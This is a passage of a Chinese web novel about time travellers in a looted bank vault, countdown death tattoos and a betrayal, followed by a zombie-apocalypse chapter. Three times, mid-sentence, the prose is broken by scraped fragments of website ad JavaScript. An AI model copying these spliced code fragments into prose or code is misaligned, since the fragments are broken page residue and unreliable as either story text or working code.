幸好安德森没有坚持护送他们去仓库,也并没有像前台那样要求莱纳德和奥多娜登记姓名和社保号码,看来优质客户的名片多少还有些用处。 圣路易斯&莫蒂默私人银行之所以享有它独一无二的名声,当然不止是因为浮夸的巴洛克建筑风格。 所有私人仓库都配有α和β两套门锁,前者的钥匙仅有雇主本人持有,后者的钥匙则由指定的高级经理代为保管,此外还有一组密码口令解除警报,三者缺一不可。 换句话说,要不是以利亚本尊在这儿,就算有密码口令,莱纳德和奥多娜也多半会无功而返。 奥多娜咽下了最后一块热狗,捏着炸鸡块乐呵呵地说:“热量最好的展现形式,朋友们,深度烘烤和油炸。” 莱纳德原本不太饿,这会儿也被食物的香气勾起了馋虫,忍不住笑道:“美国精神的60%都是由炸鸡构成的,还有30%的酒精,9%不计后果的鲁莽,剩下1%才是勇气和智慧,如果那玩意儿真的存在的话。” 奥多娜吐出舌头:“我不是美国人。” 一边把鸡块抛向空中,张大嘴去接,在接到后得意地说:“但我也不会对芝士和炸鸡说不。” “你怎么看?金毛儿。”奥多娜终于吃饱喝足,心满意足地擦了擦嘴。 莱纳德挠了挠头,故作犹豫地说:“呃,霍普,我不知道你怎么管理身材,但油炸吃多了可是会发胖的。” “别胡闹,你个傻瓜。”奥多娜把没拆封的小包辣酱丢到莱纳德脑袋上,“我的意思是,神秘人先生会不会是希望你走进来,胡乱问话露出马脚,接着我们可敬的经理先生悄悄报警,最后你被当做诈骗犯抓起来?” “喂,干嘛假设我一定会露马脚?”莱纳德不满地揉了揉手臂,“算了,别回答这个问题。” 他顿了顿,又不甘心地说:“我们当然会先调查一番,最后查明真相。” 奥多娜哼笑:“我听到了,福尔摩斯先生。” 莱纳德把辣酱包朝奥多娜丢去作为回击,沉稳地说:“与其替神秘人操心,我们不如先搞清楚仓库里有什么,不是吗?其他的可以之后再说。” “这话算是说到点上了。” 以利亚在他们身旁开口,趁两人说话的当口,他已经打开了两道门锁,解除了警报,冲两人一摆手,“来吧,阿呆阿瓜,不管你们的问题是什么,答案都在里面了。” 但里面没有答案,里面只有更多的问题。 和一个谁也没预料到的“惊喜”。 90.第二十一章:死亡纹身 看向门里时,莱纳德忽然感到头皮发麻,跟过电一样,有那么一瞬间,他确信自己的头发都像豪猪背后的刺一样竖起来了。 实话实说,即便仓库里珍藏着米达斯的手指或是受诅咒的兔子脚,都不会让他更吃惊。 他身旁,奥多娜已经吹着口哨走进了仓库里,左顾右盼,“还不赖嘛,对一个时空旅行者来说。”她做出评价。 莱纳德不知道她在评价什么。 因为仓库里压根什么都没有。 面对空空如也的仓库,莱纳德不像奥多娜那样还说得出俏皮话来,他胃里沉甸甸的,仿佛被一只手用力攫住、拉扯。 这间空荡荡的仓库就像个巨大的嘲讽符号,正无声地冲他们冷笑。 “是时间点的问题吗?我们来早了,所以……”莱纳德望向以利亚,这话连他自己都说服不了。 以利亚摇摇头:“只是遭贼了。”他语气十分冷静,完全没有痛失珍贵藏品该有的反应,只是坚持要对仓库做一个全面搜查。 “说不定对方留下了什么讯息。”莱纳德点头表示同意。 “就是,没准儿还能找到你碎成渣的自尊心呢。”奥多娜咧嘴一笑。 但检查过每一个保险柜,每一面可能写下留言的墙,黑光灯和显影剂都试了一遍,连头顶的电灯泡都被一一拧下来看过,没有找到任何有用的信息。 圣路易斯&莫蒂默私人银行倒的确在保护顾客财产上花了不少心思,保险柜安装了暴力拆解警报,墙体也都是加固过的,很难想象一个外人能够悄无声息地把保险柜全部搬空,然后不留痕迹地全身而退。 但以利亚显然不是个轻易放弃的人,他拿出金属笔,调节模式,开始检查屋里的时空传送痕迹。 “金毛儿,再给我讲一遍你的天才推理。” 奥多娜推推莱纳德,两个人在一通看似帮忙实则添乱的操作之后,成功被以利亚赶到了角落偷懒。 “调虎离山,就是这么回事。”莱纳德低声说,“他就算是米迦勒大天使,也没法预知我能跟你们俩汇合,对吧?假设他的目标只是我一个人的话,也许他只是需要我离开伦敦。” “大费周章,”奥多娜连连摇头,一副恨铁不成钢的样子,“大费周章啊伙计。” “他必须找个能拖住我们的地方,不是吗?” “那可解释不了这地方怎么从藏宝库变成的贫民窟的。”奥多娜不客气地说。 她在地上盘腿坐下,从口袋里取出一枚硬币抛着玩,一边说:“要我说,这地方最适合守株待兔,往地下埋几十斤炸药,等咱们一进来,轰——” “你没听以利亚说吗?这地方连第三次世界大战都躲过了。” “时间可以被改写。” “用几十斤TNT改写时间?” “让我们看看,几十斤TNT,加上几个坐在陷阱里不愿意离开的傻子,我的答案是干嘛不呢?” “幸亏你不是女巫,霍普小姐。” “不客气。” “这地底下没有埋炸药,如果那真是你担心的问题的话。”以利亚终于结束一轮检查,走到了奥多娜和莱纳德身旁,他听起来闷闷不乐,看样子收获不佳。 “让我猜猜,也没有时空传送的痕迹咯?”奥多娜仰起脸,扯了扯嘴角。 “没有。”果然。 “好样的,我们眼前的谜团不减反增。”奥多娜拍拍手,“现在是不是该认真考虑一下我的提议——离开这个显然被敌人渗透过的‘安全屋’,然后再做计较。” “离开这里,然后去哪儿呢?” “随便哪儿都比这里安全,这条街上有家披萨店,怎么样?拜托,别告诉我你们俩这么久不吃饭都不觉得饿。” “披萨听起来不错,但是,”莱纳德欲言又止,最后说,“你不是刚吃过热狗吗?” 奥多娜翻了个白眼。 “离开这里并不能帮助我们解开眼下的谜团,不是吗?”莱纳德说道,他不知为何有种务必沿着这条路走下去的直觉,而他、以利亚、奥多娜,还有圣路易斯&莫蒂默私人银行都是这条路上不可或缺的一环。 他说不上来理由,反正这么做才对头。 “别忘了是谁引我们来这地方的。”奥多娜的目光灼灼逼人。 “我们可以对这里进行改造,加一些防护措施,对不对,以利亚?”莱纳德抱着希望看向以利亚。 以利亚沉默片刻,说道:“这不失为一种办法,有时候,最危险的地方反而是最安全的。不管怎样,我们迟早要面对敌人。” 他说完抬眸回视莱纳德:“只要你告诉我,那个敌人究竟是谁。” “嗯,这个嘛……”莱纳德的舌头不知怎地一下打了个结。 他忽然意识到,自己就像一只站在陷阱前的兔子,面前牌子上“剧透预警”几个大写字母正冲他尖叫,可其他退路通通封死,他只有硬着头皮跳下去。 莱纳德咽了口唾沫,但嘴巴还是干干的:“那个人很有可能是英格兰孟雅特巫师团的叛徒。” 于是,通——没有回头路了。 这个名字的效果立竿见影,话音未落,以利亚就愕然后退半步,仿佛被兜头敲了一闷棍。他的脸色先是“唰”一下惨白,紧跟着血气上涌,连耳朵都红了,毫不夸张,氢氧化钠碰上浓硝酸也不过如此。 莱纳德更是大吃一惊,自打认识以来,他还从没见他这么生气过,而且以利亚刚才明明还冷静得像跟黄瓜,跟仓库被暴窃相比,显然那个叛逃巫师对他的冲击更大。 “看起来你们有点私人恩怨。”莱纳德讷讷地说。 以利亚表情古怪,似乎在犹豫接下来的话该不该说,奥多娜却忽然插了进来:“孟雅特巫师团?”她的声音干巴巴的,又重复了一遍:“那张该死的纸条是孟雅特巫师团的手笔?” 莱纳德抬起头:“咦,我没跟你说过吗?” 他刚才注意力全在以利亚身上,没有发现以利亚并不是唯一变脸的人,奥多娜的那副表情好像喉咙里塞满了稻草,再多说几个字就会吐出来似的。 “我敢肯定自己不会随随便便忘掉这种对话。”奥多娜笑笑,但笑容苍白得很,她双臂交叉抱在胸前,说道,“毕竟,我身上还带着孟雅特巫师的死亡诅咒,半只脚已经踏进他们为我刨的坟墓里了。” “死亡诅咒?” 莱纳德和以利亚愕然看向奥多娜,一时间,谁也说不出话来。 “好了好了,我还没死呢。”奥多娜最后翻了个白眼,“你们不用提前演练默哀。” “怎么回事,奥多娜?”以利亚眉头紧皱,感到一阵无法克制的焦躁,如果奥多娜真的在那群魔法老鼠那里栽了跟头…… “说来话长,而且没什么好讲的,不过有一点我现在终于确定了。”奥多娜冲以利亚眨巴了下右眼,似笑非笑,“我知道你为什么要让我去找莱尼小子了。” “谁?” 以利亚莫名其妙地看着她,奥多娜叹了口气,把领口往下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拉开几寸,露出锁骨上一个酷似纹身的黑色标记,看形状是阿拉伯“007”。 以利亚的瞳孔骤然紧缩。 奥多娜扯了扯嘴角:“这个数字曾经是30,每到午夜都会减1,也就是说,明天这个时候,我就有6了,撒旦代号的三分之一,对吧?” “我很确定666的三分之一是111。”以利亚毫无幽默感地说。 但他盯着那组数字的神情却没有半点玩笑的意思,眉毛沉沉地压着眼皮,灰眼睛变得十分深邃。“退一步讲,这纹身可比撒旦的游戏危险多了。” “怎么个危险法?”莱纳德伸出手指想碰一下,却被奥多娜侧身躲开,仿佛那纹身会咬人似的。 “我是个乐观的人,”奥多娜若无其事地把衣领拽整齐,“但不管怎么看,这个倒数计时都像是提醒我还剩多少个日出能看,或者日落,取决于看问题的角度。” “除了倒数计时,还有别的症状吗?”以利亚严肃地问。 奥多娜仰起头:“让我想想,哦,噩梦缠身、白日见鬼、恶灵追杀,下地狱标准流程。” “对了,我和金毛小子这几天就遇到过超自然事件,公路野鬼、旅店亡魂之类的,八成也跟他们脱不了干系。”她用力拍了拍手,像是要把麻烦从身上拍下去,语气轻快地说,“估计等那群混蛋巫师玩够了,我就该见到会喷火的地狱三头犬了。” 说完,奥多娜垂下目光看向以利亚:“二十天前,我去向你求助——好了,别摆出那副表情,这话我只说一遍,如果七大星系里有任何人能救我,那个人就是你了——你给了我一组时空坐标,让我去和莱纳德汇合。” “你找过我?”以利亚眉头皱得更深,棱角分明的脸仿佛突然间变成了大理石雕像,“你是说,我安排了你们俩的公路旅行?” “未来的你,就像我说的,时间旅行者的独家惊喜。” “我可不会管这个叫惊喜。” 奥多娜耸耸肩,紧跟着竖起食指,冲以利亚摇了摇:“听着,聪明鬼,别拿时空旅行指南第42条说事,拜托了,我相信眼下这种事态发展需要我们尽可能汇集情报,不管是不是剧透,难道不是吗?” 莱纳德点头应和:“敌在暗,我在明,要是连我们自己都互相隐瞒,敌人怕不是做梦都能笑醒。” 以利亚不置可否。 “再说了,以利亚,未来的你早已经经历过这一切,你肯定不会给我一组毫无意义的时空坐标好给自己的过去添乱的,不是吗?” “知道自己还有未来总不是件坏事。”以利亚喃喃道。 他立刻遭到了奥多娜的白眼:“是啊,尤其是还有倒数计时的时候,真是很让人安心呢。” 以利亚无奈叹气:“行了,锅底别嫌壶底黑。” “我很确定这句话不是这么用的。” “恕我冒昧,你什么时候屈尊了解地球俗语了?” “少瞧不起人,莱尼可是经常跟我聊天,对吧金毛儿?” “别看我,说实话,我不想对你们两个外星人的任何一句地球俗语负责。” “嘿!这是歧视。” “没错,百分之百的外星歧视,或者外歧,星歧?地球话是这么说吗?” “傻瓜,地球人不止有英语一种语言。” “很有用的信息,地球百科先生,你真应该把这句话写在T恤上。” “对你来说倒是一件很好的礼物。” “唉,你们俩真是够了。” 91.第二十二章:上帝从不掷骰子 “有一点你们需要知道,”以利亚还是决定把知道的说出来,“孟雅特巫师团虽然常年躲在地球,但他们其实并不是人类,所谓的巫师也不过是个幌子。” 因为奥多娜说得对,比起剧透带来的风险,眼下信息不对称才是更致命的。 以利亚只忘记了一点,上帝从不掷骰子。 “不是人是什么东西?”莱纳德和奥多娜异口同声地发问,话音落地,两人对视一眼,却不约而同从各自嘲讽的表情下看到了一丝隐藏的恐惧。 “他们不是东西,”以利亚沉稳地说,“是时光族。” “时光族?”莱纳德一愣,他和以利亚在旅行中不止一次遇到过时光族,但每一次都伴随着惊险重重,如果非要说的话,莱纳德发现以利亚总是对时光族有所顾忌。 以利亚点点头:“没错,一个古老强大的种族,也许是宇宙中唯一拥有操控时间力量的种族。” “操控时间的力量,”奥多娜咋舌,“那我这个时髦的纹身也不是源自巫术咯?” “说来话长。”以利亚摆手示意两个人就地坐下,自己也找了个舒服的姿势倚在墙边,曲起一条腿,伸长胳膊搭在膝盖上,另一只手用力捏了捏眉心。 “时光族谱系众多,旁支繁杂,”思索半晌,以利亚才开口说道,“即便后来势力衰落,时光族成员也仍然遍布七大星系,诸如时空联盟调查总局的几位核心成员,薇诺娜姊妹星的修女们,还有风琴河岸的时光精灵,世代居于海底的……” 莱纳德脱口打断他:“时光精灵是时光榕树的孩子,也是时光族?” 以利亚扬起眉:“见过?风琴河岸的高等植物自成一国,行事还算低调。” “何止见过?”莱纳德揉揉鼻子,悻悻地说道,“梁子都结下不少了。” “唉,这还真是……” 以利亚一手扶额,神情凝重起来:“孟雅特巫师团里汇集了时光族不同谱系的成员,大多是不被原本族群接受或是结下大仇的桀骜之徒,不得以躲藏在19世纪的地球。” 他停顿了几秒,又说:“那位叛逃而走的,恰巧是个时光精灵,听说连自己的母树也背叛了,永世不得返回风琴河岸。” 莱纳德呆呆地问:“他不会还恰巧叫做艾尔弗吧?” 奥多娜眉毛一挑,嘴巴长成了一个圆圆的“O”型,她显然也想起来了:“不会吧?” 以利亚的回答让两个人都心里一沉:“没错。”说完目光从他们脸上扫过,了然道:“看来你们地球人说的因果报应也不是毫无道理咯。” 莱纳德讷讷道:“我没听过这句话。” 他拼命回忆在海盗船上伪装成大金人的精灵艾尔弗,还有在伦敦见过的满脸假笑的小胡子,以利亚倒是的确跟他说过,时光族是宇宙中最低调但又最强大的一族,但就算时光精灵有伪装易容的能力,这两个人也完全看不出半点相似之处。 他们怎么会是同一个人? 莱纳德慢半拍地追问以利亚:“你和艾尔弗之间发生了什么?我还以为在海盗船上是你们第一次见面呢。” 以利亚脸上闪过一丝阴影,不等他回答,莱纳德后颈就是一凉,不好的预感“腾”地升起来,让他的胃像被条用力绞住的毛巾似的,直往外泛酸水。 奥多娜眨眨眼睛:“有什么不能说的?我可是连死亡诅咒都跟你们分享了。” “好吧。”以利亚叹了口气,抬手把自己的领口拉下去。这下子换另外两个人大吃一惊,只见同样是在锁骨的位置,以利亚也同样有三个黑色的数字纹身。 ——001。 “我该感到欣慰吗?以利亚,你的倒数计时比我更紧迫些。”奥多娜尽力克制住惊讶,但眉毛都快要从额角飞出去了。她不敢置信地瞪着以利亚锁骨上的纹身,甚至伸手摸了摸,触感要比旁边的皮肤冰冷一些,跟她的一模一样。 “别欣慰得太早,严格意义上,我已经是个死人了。” 以利亚语出惊人,语调却四平八稳,仿佛只是在讲自己早饭吃了黄油面包,“相信我,当个活死人可不是多有意思的事。” 奥多娜从震惊变成茫然:“活死人?你在说些什么啊。” 莱纳德也惊呆了,一把抓住对方的手肘:“什么叫你已经是个死人了?”他忽然想起对方在床上衰老垂死的情形,不由得毛骨悚然。 还有那块墓碑。 以利亚·X·海伊克默里希长眠于此。 也许这一切早已注定,就像那句古老的谚语——凡铭刻金石者,当亘古不变 ——这个令人恐惧的念头犹如黑色子弹,倏地扎进莱纳德的脑海,让他的神经刺痛不已。 “时光族的把戏,别忘了他们有操控时间的能力,这个数字代表我剩余的心跳数。”以利亚看看奥多娜,笑了笑,“别紧张,你的数字代表宿主剩余的生命天数,或者重生期限,取决于你解决问题的思路。” 奥多娜扯了扯嘴角,声音里却并没有一丝笑意:“拾人牙慧,毫无创意。” 以利亚无所谓地一耸肩:“对只剩下一次心跳的人来说足够了。” 莱纳德紧张地笑了一声,短促的笑声中毫无笑意,而奥多娜的表情忽然变得非常古怪,像是有只手用力在她脸上抹了一把似的,但另外两人各怀心事,都没分给她多余的眼神。 “什么时候发生的?”莱纳德问,他想试试以利亚的心跳,却说什么都伸不出手去。“你怎么、怎么不早说?” 以利亚摇头不语。 莱纳德听出了他的弦外之音,脱口道:“拜托,别再说什么‘谎言会保护我们’之类的屁话,都到这种时候了,以利亚,隐瞒还有意义吗?” 奥多娜伸手拽了他一下:“莱尼,冷静点。” 莱纳德蓦地闭上嘴,几乎听到后槽牙磕在牙床上发出“咯”的一声,他想起最初在牌桌上见到的死神,用看不见的镰刀一个个收割玩家的脑袋,先是小丑,然后是三月兔、机器人,最后是他自己,但以利亚的牌始终是最好的。 就好像有人在帮他作弊一样。 但代价呢? 莱纳德能清晰地回想起大脑袋机器人死气沉沉的声音语调,和那双猫头鹰一样的绿眼睛,它是怎么说的来着? ——生死有命,这是宇宙的终极形态。 ——但没有人能欺骗死神。 以利亚神色平静地看着莱纳德:“至少我还能走路说话,不是吗?更何况你又从白瑞摩那个掘人坟墓的渣滓手里抢回了我的头骨,要我说,这算多赢了。” 他说完冲莱纳德笑了笑:“做人不能太贪心,你说呢?” 莱纳德还不死心,追问道:“但怎么会这样?” 以利亚淡淡道:“如果你必须要问的话,这件事早就结束了,没什么别的好说的。” “可……” “我说了,到此为止。”以利亚板起脸,嘴巴抿得平平的,仿佛鞋匠家的小精灵连夜在他嘴上加装了一条金属拉链似的,“别再问了。” “为什么不呢?”莱纳德悻悻地松开手,一看以利亚的表情,他就知道,无论浪费多少口舌都没办法从他这里再问出什么了。 耶稣在上,这就是以利亚,一个讨厌的死脑筋。 “莱纳德,听着,我明白你现在的心情,”以利亚叹了口气,向后一仰,后脑勺靠在墙上,两眼望着天花板,语气幽幽地说,“时间旅行者总是玩弄时间,在这方面我带给了你不好的影响,莱尼,时间迟早会报复回来。” “你是说那群时光族?” “我是说不可动摇的固定时间点。” “什么点?” “如果你以非线性的方式 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 审视时间,宇宙中大部分事都是不确定或者说可改变的,只有极少一部分事件的发生无可避免,比如地球上细胞生物的出现,比如约翰·肯尼迪被刺杀,再比如,”以利亚停顿了一下,目光垂下来,“再比如我的死。” 莱纳德听到自己发出一声溺水的人才会发出的倒气声,好像有人忽然扼住了他的喉咙,让他连一个字都说不出来。 以利亚严肃地看着他,目光里的神色近乎沉痛,直到很久之后,莱纳德才明白以利亚那时的情绪并非为了自己的命运。 他最后说:“相信我,莱尼,没有别的路了。” 莱纳德的声音忽然冲破桎梏,一股脑从喉咙里涌了出来:“那又怎样?以利亚,我们不是第一次面对绝境,但我们什么时候放弃过?在穹顶,你就告诉过我……” 他的舌头忽然打了个结,屏息看着以利亚靠坐在墙边的模样,一股强烈之极的既视感骤然涌入脑海,令他瞳孔骤然紧缩——以利亚就这么曲起一条腿坐着,胳膊搭在膝盖上,几条细细的锁链分别缠绕在他手腕和脚腕上,另一端则深深地钉在墙里。 是幻觉,森林给他的幻觉。 亦或是某种警示? “别坐在那儿!”莱纳德突兀地改口道,声音因为惊慌变了调,听起来更像是“别屎在那儿”。他下意识伸出手,想要把以利亚拉起来,但耳朵却先捕捉到了身后一丝鸡蛋破壳似的“喀拉”声。 莱纳德回过头,看到奥多娜正反手从背包里掏出一个奇形怪状的东西,电光火石之间,他并没有意识到那东西是武器。 下一秒,锁链破墙的刺耳响动彻底击碎了他的冷静和理智。 “以利亚!躲开!” 莱纳德以为自己叫出了声,但事实上,他发出的声音并不比刚落地的猫崽子能发出的动静大多少。他也终于看清楚,穿墙而出的并不是金属锁链,而是绿油油的藤条,如同蛰伏的毒蛇一般,霎时间缠上了以利亚的四肢和颈项。 他身后,奥多娜举起了武器。 余光瞟到身后动作的瞬间,莱纳德竟然可笑地以为奥多娜是打算对付那些长着牙齿会吃人的蛇藤,但对方脸上冷厉的表情比枪口指向更具有说服力。 她要杀的是以利亚。 大脑仍然处于宕机状态,但莱纳德的身体竟先作出了反应,拼命朝奥多娜猛扑了过去。 没有叩动扳机的声音,没有枪响。 莱纳德低头看着抵在自己胸口的奇怪武器,意料之外地,没有皮开肉绽、没有鲜血喷溅,连衣服也完好无损,刚才他在千钧一发之际飞扑挡枪似乎只是虚惊一场。 他不由得在肾上腺素激烈的余韵中感到一丝茫然,奥多娜竟然没有开枪? “你……”莱纳德的心狂乱地跳动着,只说了一个字就不得不用力吸气,才不至于因为缺氧而倒地。 “一切都结束了,莱纳德。”奥多娜死气沉沉地说道,她苍白的脸上毫无表情,只有眼珠在微微颤动。“固定时间点必须得到修复,这也是他的愿望。” “结束?”莱纳德压根没有听到奥多娜的后半句话,生物识别武器的念头像气泡一样从胸口争先恐后地冒出来,拥挤着向上飞去。 莱纳德转过身,望向墙边。 以利亚保持着刚才的姿势倚在墙上,嘴巴微微张开,两只眼睛望向天花板。 莱纳德的一侧太阳穴骤然传来一阵灼烧的刺痛感,仿佛有根烧红的探针一下子扎进大脑深处,让他有种就此倒地长眠不起的冲动。 蛇藤在以利亚身边“嗤嗤”地游动着,却不是为了缠住他,反而缩回了墙里。 “以利亚?” 没有回音,不会再有回音了,莱纳德的目光机械地下移,像个受惊的孩子似的伸手捂住了嘴巴。 以利亚的胸口上,赫然有个空荡荡的黑洞。 92.第一章:末日 莱纳德是被楼外街区的枪声吵醒的,当然,还有受伤的痛呼和惨叫声。 总是有惨叫声。 不过莱纳德已经习惯了,这是末日灾难来临后的第一百八十三天,曾经繁荣的城市彻底变成了怪物横行的炼狱,惨剧每天都在上演,但仍有像他这样的幸存者在艰难求生。 看来玛雅人的预言并不完全准确,末日并没有耐心等到2012年降临,黑暗早早便迫不及待地降临在2005年11月11日,舍尔曼大街169号,波特兰市,缅因州。 奥多娜·霍普冲以利亚扣下了扳机。 然后,一切都发生了。 零星的枪声过后,楼下很快便恢复了寂静,或者说只剩下能被莱纳德轻易屏蔽掉的脚步声、低语声,还有撕扯布条包扎伤口的动静。 看来并没有出现咬伤,或者是过分乐观,莱纳德带着睡意想道,总归是个幸运的倒霉鬼。 时间还早得很,透过破破烂烂的窗帘,外头的天光黯淡得一杯水就能冲开,连太阳都还没完全升起来。 莱纳德又闭上眼睛,裹紧夹克,试图让自己再次入睡,这片街区荒废已久,方圆十里,没有部队和民间团队驻扎,最多不过几个零星流窜的幸存者,可以说是既安全又清净,等到天光大亮再出门上路不迟。 忽然,一丝极细微的火花放电似动静钻进耳朵,莱纳德霍得睁开眼睛,那是汽车短路点火的声音,伴随着一声得意的口哨,绝对错不了。 楼下废弃车子虽然不少,但鼓捣鼓捣还能靠短路点火的,只有他的那俩泥巴色的斯巴鲁。 该死的偷车贼。 莱纳德翻身跳下餐桌,顺手捞起被他枕在脑袋底下的背包,往肩膀上一甩,朝楼外奔去。 这段时间,莱纳德早习惯了不脱鞋子和衣而睡,在睡梦中都保持警醒,他的腰带和肩带上挂满各式防身的家伙,随时都能拔出武器搏斗,或者撒丫子逃命。 这两样末世生存技能,在眼下丧尸横行的美洲大陆上,搞不好比水和粮食更重要、更能保命,多亏了过去的冒险经历,莱纳德如今也算是熟练掌握。 而另一项技能,就是看好属于自己的东西。 斯巴鲁“突突”地咆哮起来,像只欢快的老狗,丝毫不介意被偷车贼上下其手,原地一跳,眼看就要向前蹿出去。 “当”的一声巨响,有东西重重撞上车前杠,车身剧烈一震,偷车贼条件反射踩下刹车,只听“嘟”的一声,遥控车锁居然应声弹开,一只手猛地拉开车门,另一只手伸进去,按住偷车贼的后脖子,往方向盘上重重一撞,又一撞,然后揪着衣领把他从车里拖了出来。 “我是人!我没有感染!”偷车贼在地上摔得七荤八素,鼻血横流,但还记得伸手护住头脸,尖叫着求饶,“别杀我!” 莱纳德抬手扇了他脑袋一巴掌,表情故作狰狞,恶狠狠道:“现在知道怕了?砸我车的时候不挺起劲的吗?怎么着,你妈没教你不能乱动别人的东西?” 偷车贼呆呆地应了一声,然后才反应过来:“这、这是你的车?” “不然呢,还能是你的车?”莱纳德把车钥匙在手里一抛一抛的,轻轻踹了对方一脚,“站起来好好说话,怕什么?起来,我不打你了。” “我不知道那是你的车,我都不知道这地方还有活人。”偷车贼狼狈地从地上爬起来,兜帽下露出一头乱糟糟的红发,和一张年轻得不像话的脸。 他拍拍裤子,直起腰,操着一口浓重的布鲁克林口音说道:“刚才可吓死我了,还从没见过会开车门的丧尸。” “闭嘴。”莱纳德用手指他,命令道,“把身上的武器弹药留下,然后鞋里装蛋,快他妈滚。” 偷车贼愕然地张大嘴巴:“啊?” 莱纳德不耐烦地瞪他:“你听到我说的了,动作快点,别逼我动手。” 偷车贼连连后退几步:“我、我没有武器弹药。” 莱纳德冷笑:“你当我是傻子?” 偷车贼艰难地咽了口唾沫:“有、有也不能给你,我还要防身呢。”他似乎并不惧怕莱纳德装出来的凶神恶煞,反而上前两步,无所畏惧地问道,“兄弟,我能搭你的车出城吗?” “不能。”莱纳德冷酷地一口回绝。 “为什么?”偷车贼脱口问道,又飞快地说,“我保证,一出城就下车,绝对不会赖上你的。” 莱纳德不为所动,抬起下巴一点对方的手臂,被布条缠住的地方还在渗血:“用不着保证,我的车上从来不载感染者。” “不是!这不是咬伤!”偷车贼立刻激动地叫道,差点原地跳起来,“被咬的是那个人,我被他推到墙上,嘶,估计是被伸出来的断钢筋划伤的。”他指了指倒在路边的新鲜尸体,和倒在另一边的腐烂丧尸,“拜托,你得相信我。” 莱纳德瞟了眼地上的尸体,不置一词,拉开车门坐进了驾驶位,这才转头说道:“我早就不相信任何人了,但你可以把这个故事讲给下一个路过的出租车司机,在你发病转变之前。” “我没有被咬,真的!”偷车贼连忙伸手扒住车门,一副打定主意不撒手的神情。 “跟在乎的人说去吧。”莱纳德说完就要踩下油门,余光却忽然瞟到倒在路边的尸体正在悄无声息地表演原地仰卧起坐。 “该死。”他咒骂一声,从腰间抽出玛蒂尔达,另一只手在偷车贼的肩膀上重重一推:“让开!” 偷车贼挥舞着手臂摔倒在地,眨眼间,地上那具新鲜的尸体便朝他原本站着的地方扑了上来,莱纳德早已举起了枪,用三发点射狠狠问候了它。 丧尸的头部爆出黑红色的血浆,再次重重倒地,不像是还能爬起来的样子,但两条腿犹自抽搐不已。 “可恶。”莱纳德咬牙,看到远处有几个原本在游荡的丧尸正闻声而来,低头冲偷车贼吼道,“喂,你还有十秒钟上车,不然就等着当点心吧!” 这次用不着他催第二遍,偷车贼就一骨碌跳起来,连滚带爬地钻进了车后排,尖声叫道:“快开车!它们来了!” 莱纳德用力踩下油门,斯巴鲁立刻鼓足劲朝前蹿了出去。 “前面有丧尸!”偷车贼的心理素质显然还有待提高,在看到路边伸长胳膊朝他们扑过来的丧尸时忍不住大喊大叫起来,“打方向盘!打——” 莱纳德流畅地换挡、踩油门、打方向盘,前车轮擦着丧尸的半边身子猛冲过去,顺便把丧尸剐倒在地,摆正的车尾“噶叽”一下压过丧尸的脑袋,地上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 顿时一片狼藉,后车轮在路面留下了一长串红红白白的痕迹。 “呃,我觉得我要吐了。”偷车贼的声音听起来好像喉咙里塞满了泥巴。 “想吐就从我车上滚下去。”莱纳德从后视镜里瞪了他一眼,“敢把血流到车上也滚下去,要变成怪物也滚下去,听到了吗?” “听到了,我、我觉得我好多了。”偷车贼嘀嘀咕咕,“都说过多少次了,我真的没被咬。” “姓名。” “啥?” “你的名字,不想说我也可以继续叫你‘喂’,或者偷车贼,你自己选。” “都说了我不是贼,这年头难道开辆车还非得找到车主问个清楚吗?指不定都在丧尸的胃里安家落户了。” “问总比不问好,记住这点,不然你迟早也在丧尸肚子里安家落户。” “路易斯·赛勒。” “嗯?” “我的名字,朋友都叫我小路。”路易斯把兜帽从头顶撸下去,摸了摸脑袋,把本就凌乱的红发揉得更加乱糟糟,看起来好像一只刚刚睡醒的红毛鹦鹉。“你的呢?” “约翰,约翰·史密斯。”莱纳德毫无诚意地回答。 “这名字是你爸妈起的?”路易斯显然没打算当真,但末世多过客,他也懒得深究,絮絮叨叨地自顾自说道,“我的是我奶奶起的,她有个儿子四岁的时候病死了——就是我从没见过面的叔叔,当然咯——也叫路易斯,我猜她大概是在怀念什么吧,上帝保佑她的灵魂,在天堂里不用经历这些狗屎。” 路易斯说得兴起,莱纳德却充耳不闻,他眯起眼睛辨认倒在路边的指示牌,在心里计算最合适的路线,最安全的方式当然是绕过斯科茨代尔这个有武装力量驻扎的基地,但那样也许会错过审判日,如果他冒一点险,趁午休的时间悄悄穿城而过,那么距离凤凰城就只剩半天路程了。 凤凰城,他的最终目的地。 莱纳德意识到自己正轻轻吸着气,一百八十三天,他从缅因州一路到亚利桑那州,穿越了整个丧尸潮袭击下的美国,如今总算要告一段落了。 审判终将降临。 “喂,问你话呢,约翰。”路易斯忽然提高了声音,从车后排探出身来,脑袋钻进主副驾驶的座位中间。 莱纳德从后视镜里瞥他一眼,抬脚松开油门,让车速慢下来:“你要下车了?” “什么?当然不是!”路易斯叫起来,“我只是想问你要到哪里去,说不定我们顺路呢。” 莱纳德冷哼:“谢了,我对下地狱没兴趣。” 路易斯自讨没趣,把脑袋缩了回去,没过一会儿,他又说起来:“听你的口音也是北方人吧,我是麻省人,你呢?” 莱纳德没理他。 路易斯毫无挫败之意,全凭自己撑起一场对话:“我来猜猜,密歇根?你这脾气很像五大湖那边的,估计是太冷了人们都不爱开口说话,哈哈。” “喂,麻省佬。”莱纳德一脚踩下刹车,平静地对上路易斯惊恐的目光,这家伙还以为自己会被丢下车去,但莱纳德接下来的一番话大大出乎路易斯的意料。“不管愿不愿意,你现在只有两个选择,所以给我听好了。” 这两个选择路易斯都不喜欢。 93.第二章:斯科茨代尔 “时间并不是一条直线。” 这场对话发生时,以利亚和莱纳德正坐在奥普拉星球最有名的一家披萨店里,以利亚一边说话一边好整以暇地用纸巾擦拭披萨留在手指头上的油腻,目光中闪动着笑意,莱纳德早就注意到了,这家伙每次炫耀知识都是这副样子,看得人好想揍他一拳。 “如果你愿意,可以把它想象成一个毛线球。”这位爱装逼的天才如是说道,用手指比划出无形的“线”,在空气中打了个结。 “当同一条时间线缠绕在一起,不同的时间点就会互相重叠、挤压,你虽然只站在一个点上,但只要找对视角,就能看到其他点,不管是过去还是未来,该发生的还是不该发生的。” “什么叫不该发生的?你是在谈论多元宇宙的可能性吗?”莱纳德问。 “与其说是多元宇宙的可能性,倒不如说是时间坍缩的可能性。” “时间坍缩?” 